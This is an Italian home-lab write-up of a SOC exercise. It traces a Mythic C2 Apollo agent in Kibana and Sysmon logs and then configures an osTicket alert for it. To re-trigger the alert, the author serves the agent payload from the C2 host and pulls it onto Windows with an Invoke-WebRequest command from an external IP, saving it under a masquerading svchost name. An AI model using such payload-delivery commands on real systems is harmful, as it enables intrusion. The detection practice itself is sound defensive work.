

# Day 28 -Investigate Mythic Agent

Per cominciare a investigare sull'attività di **Mythic**, andiamo sul Discover di **Kibana** e cerchiamo in base al processo svchost dal più vecchio, l'obiettivo è quello di trovare un'attività tra la macchina attaccata e il **C2 Server**, questo richiede un discreto numero di scambi iniziali tra i due nodi che possiamo misurare con dei tool come **RITA**, in questo caso lo dedurremo tramite la creazione di processi con **Sysmon** grazie alle dashboard create in precedenza:

Process creation (powershell, cmd , rundll32)						
User	ParentImage	ParentCommandLine	Image	CommandLine	CurrentDirectory	Count of records
NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe	C:\Windows\system32\svchost.exe -k r	C:\Windows\System32\rundll32.exe	"C:\Windows\system32\rundll32.exe" C	C:\Windows\system32\	34
NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe	C:\Windows\system32\svchost.exe -k r	C:\Windows\System32\rundll32.exe	"C:\Windows\system32\rundll32.exe" C	C:\Windows\system32\	17
NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe	C:\Windows\system32\svchost.exe -k r	C:\Windows\System32\rundll32.exe	"C:\Windows\system32\rundll32.exe" /i	C:\Windows\system32\	2
NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe	C:\Windows\system32\svchost.exe -k r	C:\Windows\System32\rundll32.exe	"C:\Windows\system32\rundll32.exe" V	C:\Windows\system32\	2
NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe	C:\Windows\system32\svchost.exe -k r	C:\Windows\System32\rundll32.exe	"C:\Windows\system32\rundll32.exe" d	C:\Windows\system32\	2
Process Initiated Network Connection						
Image	DestinationIp	SourceIp	DestinationPort	Count of records		
C:\Windows\System32\svchost.exe	0:0:0:0:0:0:1	0:0:0:0:0:0:1	5985	62		
C:\Windows\System32\svchost.exe	224.0.0.251	155.138.133.204	5353	36		
C:\Windows\System32\svchost.exe	ff02:0:0:0:0:0:fb	fe80:0:0:0:5400:5ff:fe19:7718	5353	36		
C:\Windows\System32\svchost.exe	51.116.253.168	155.138.133.204	443	2		
C:\Windows\System32\svchost.exe	ff02:0:0:0:0:0:1:2	fe80:0:0:0:5400:5ff:fe19:7718	547	2		
C:\Windows\System32\svchost.exe	108.61.10.10	155.138.133.204	53	1		
Microsoft Defender Disabled						
hostname	Product Name	event.code	Count of records			
win-johndoe	Microsoft Defender Antivirus	5001	2			

# Day 28 -Investigate Mythic Agent

Un primo dubbio sorgerebbe vedendo i processi che hanno avviato connessioni Network, perché questo eseguibile fa ciò in una directory pubblica? Rilevante anche il fatto che si connetta ad un determinato IP esterno tramite la porta 80:

C:\Users\Public\Downloads\svchost-johndoe.exe	155.138.158.197	155.138.133.204	80	1
---	-----------------	-----------------	----	---

Possiamo poi esaminare un altro evento:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	155.138.158.197	155.138.133.204	9999	2
---	-----------------	-----------------	------	---

Inserendo l'IP e l'event code nel **Discover**, possiamo ricostruire una timeline degli eventi e comprendere l'origine di queste connessioni sospette.

Per procedere in modo efficace, potrebbe essere utile iniziare dagli eventi meno recenti, selezionarne il **GUID** e tracciare tutti gli eventi associati a quel GUID. Questo è importante poiché il GUID rappresenta il processo e permette di vedere tutti gli eventi originati da esso, facilitando l'identificazione di eventuali anomalie.

# Day 28 -Investigate Mythic Agent

Tramite il process GUID possiamo ricostruire gli eventi associati a quel processo, in questo caso powershell.

The screenshot displays the Elastic SIEM interface. At the top, the Elastic logo and a search bar are visible. Below the search bar, a navigation menu includes 'Discover', 'Visualize', 'Dashboard', and 'Alerts'. The main search bar contains the query: `event.code: 3 and winlog.event_data.DestinationIp:155.138.158.197`. The results are displayed in a table view, showing a single event on October 6, 2024, at 19:37:51.249. The event details show the process name as `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` and the process GUID as `{0e41119a-c50a-6702-7e00-000000000800}`.

**Search Query:** `event.code: 3 and winlog.event_data.DestinationIp:155.138.158.197`

**Time Range:** Last 90 days

**Event Details:**

Field	Value
winlog.event_data.Image	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
winlog.event_data.Initiated	true
winlog.event_data.ProcessGuid	{0e41119a-c50a-6702-7e00-000000000800}

# Day 28 -Investigate Mythic Agent

In uno degli eventi possiamo osservare la creazione di un file (event code 11)

Oct 6, 2024 @ 19:38:24.506	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	event.agent_id_status	verified
		event.code	11

Il file creato in questo caso è quello che nei Day precedenti ci ha permesso di avviare l'agent che comunicava col **C2 Server**

User: WIN-JOHNDOE\Administrator  
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  
TargetFilename: C:\Users\Public\Downloads\svchost-johndoe.exe



In un altro evento poco dopo possiamo osservare **Sysmon** che rileva un file eseguibile (event code 29)





Oct 6, 2024 @ 19:38:26.524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	event.agent_id_status	verified
		event.code	29
Oct 6, 2024 @ 19:38:30.715	C:\Users\Public\Downloads\svchost-johndoe.exe	event.created	Oct 6, 2024 @ 19:38:27.313

# Day 28 -Investigate Mythic Agent

Tramite questi elementi, abbiamo la possibilità di ricostruire una timeline degli eventi e verificare la presenza di una potenziale minaccia.

Una volta avviato l'eseguibile, verrà generato un nuovo processo. A questo punto, possiamo monitorare l'attività di questo processo seguendo il suo GUID. Inoltre, possiamo analizzare tramite il PID se sono stati generati altri processi e utilizzare il ParentPID per tracciare il processo che lo ha avviato.

	<input type="checkbox"/>	Oct 6, 2024 @ 19:38:26.524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	<input type="checkbox"/>	Oct 6, 2024 @ 19:38:30.715	C:\Users\Public\Downloads\svchost-johndoe.exe

	message	<div><div></div><div>Process Create: RuleName: technique_id=T1036,technique_name=Masquerading UtcTime: 2024-10-06 17:38:30.690 ProcessGuid: {0e41119a-cb16-6702-4301-000000000800} ProcessId: 6002</div></div>
---	---------	---

# Day 28 -Investigate Mythic Agent

Sempre a scopo esemplificativo potremmo procedere con la ricerca del file 'passwords.txt' che abbiamo esfiltrato in precedenza.

The screenshot displays the Elastic Security dashboard. At the top, the Elastic logo and a search bar are visible. The main interface is divided into several sections:

- Left Sidebar:** Contains navigation options like 'Discover' and a list of 'Selected fields' (e.g., winlog.event\_data.Image) and 'Popular fields' (e.g., agent.name, system.auth.ssh.event).
- Search Bar:** The search query 'passwords.txt' is entered. The time range is set to 'Last 90 days'.
- Visualizations:** A bar chart shows the distribution of events over time, with a peak around October 5th, 2024.
- Documents (1):** A table showing the search results. The first document is a log entry from 'Oct 5, 2024 @ 18:10:28.514' with the message 'C:\Windows\System32\notepad.exe'.
- Document Detail Panel:** On the right, a detailed view of the selected document is shown, including fields like 'input.type' (winlog), 'log.level' (information), and 'message' (Process terminated: RuleName: - UtcTime: 2024-10-07 04:44:55.029, ProcessGuid: {0e41119a-cb16-6702-4301-000000000800}, ProcessId: 6092, Image: C:\Users\Public\Downloads\svcho-st-johndoe.exe, User: WIN-JOHNDOE\Administrator).

# Day 28 -Investigate Mythic Agent

E' da sottolineare che molti eventi che ci aiuterebbero a ricostruire la situazione non riusciamo ad intercettarli in quanto sono eventi di rete come ad esempio se lancio un 'netstat' da **Mythic** non verrà visualizzato come evento sull'endpoint.

Procediamo ora con la generazione del ticket dell'alert della rilevazione dell'agent **Apollo** su **osTicket**, la procedura è la stessa dei Day precedenti.

Modifichiamo lo schedule della regola e il body nelle actions, avviamo nuovamente l'eseguibile che avvia l'agent **Apollo** per far scattare l'alert e generare il ticket.

[Back to Mythic-C2-Apollo-Agent-Detected](#)

## Edit rule settings

Definition About **Schedule** Actions

### Schedule

Runs every

1 Minut... ▾

Rules run periodically and detect alerts within the specified time frame.

Body

```
1 <?xml version="1.0" encoding="UTF-8"?>
2 <ticket alert="true" autorespond="true" source="API">
3   <name>Elasticsearch</name>
4   <email>api@osticket.com</email>
5   <subject>{{rule.name}}</subject>
6   <phone>318-555-8634X123</phone>
7   <message type="text/plain"><![CDATA[Please investigate the rule: {{rule.name}}
8   Link: {{rule.url}}
9   ]]></message>
10 </ticket>
```

⊕ Add action



# Day 28 -Investigate Mythic Agent

Riprendo il payload e lo rinomino e rimetto in ascolto il **Mythic Server**,

```
root@Mythic:~/Mythic# nano .env
root@Mythic:~/Mythic# mv svchost-johndoe.exe onefortheages.exe
root@Mythic:~/Mythic#
```

```
root@Mythic:~/Mythic# python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
```

Procedo col download da **Windows**:

```
Administrator: Windows PowerShell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Administrator> Invoke-WebRequest -Uri http://155.138.158.197:9999/onefortheages.exe -OutFile "C:\Users\Public\Downloads\svchost-johndoe.exe"
PS C:\Users\Administrator>
```

# Day 28 -Investigate Mythic Agent

Verifichiamo su **osTicket**, aperto il ticket possiamo anche assegnarlo ad un agent e dare indicazioni.

The image shows two overlapping screenshots of the osTicket web interface. The left screenshot displays the 'Tickets' tab with a list of tickets. A pink arrow points from the ticket 'Mythic-C2-Apollo-Agent-Detected' (ID 885110) to the right screenshot. The right screenshot shows the detailed view of ticket #885110, which is titled 'Mythic-C2-Apollo-Agent-Detected'. It includes fields for Status (Open), Priority (Normal), Department (Support), Create Date (10/12/24 14:00:13), Assigned To (Unassigned), SLA Plan (Default SLA), and Due Date (10/17/24 08:00:00). A modal window titled 'Ticket #885110: Assign to a Team' is open, showing an 'Assignee' dropdown menu with 'John Doe' selected. The modal also has 'Reset', 'Cancel', and 'Assign' buttons.

osTicket

Welcome, John. | Admin Panel | Profile | Log Out

Dashboard Users Tasks Tickets Knowledgebase

Open My Tickets Closed Search New Ticket

[advanced]

Open

Ticket	Last Updated	Subject	From	Priority	Assigned To
203990	10/09/24 10:06:41	osTicket Installed!	osTicket Team		
885110	10/12/24 14:00:13	Mythic-C2-Apollo-Agent-Detected			

Ticket #885110

Mythic-C2-Apollo-Agent-Detected

Status: Open

Priority: Normal

Department: Support

Create Date: 10/12/24 14:00:13

Assigned To: — Unassigned —

SLA Plan: Default SLA

Due Date: 10/17/24 08:00:00

Ticket Thread (1) Tasks

Ticket #885110: Assign to a Team

Assignee: \*

— Select —

— Select —

Agents

John Doe

Reset Cancel Assign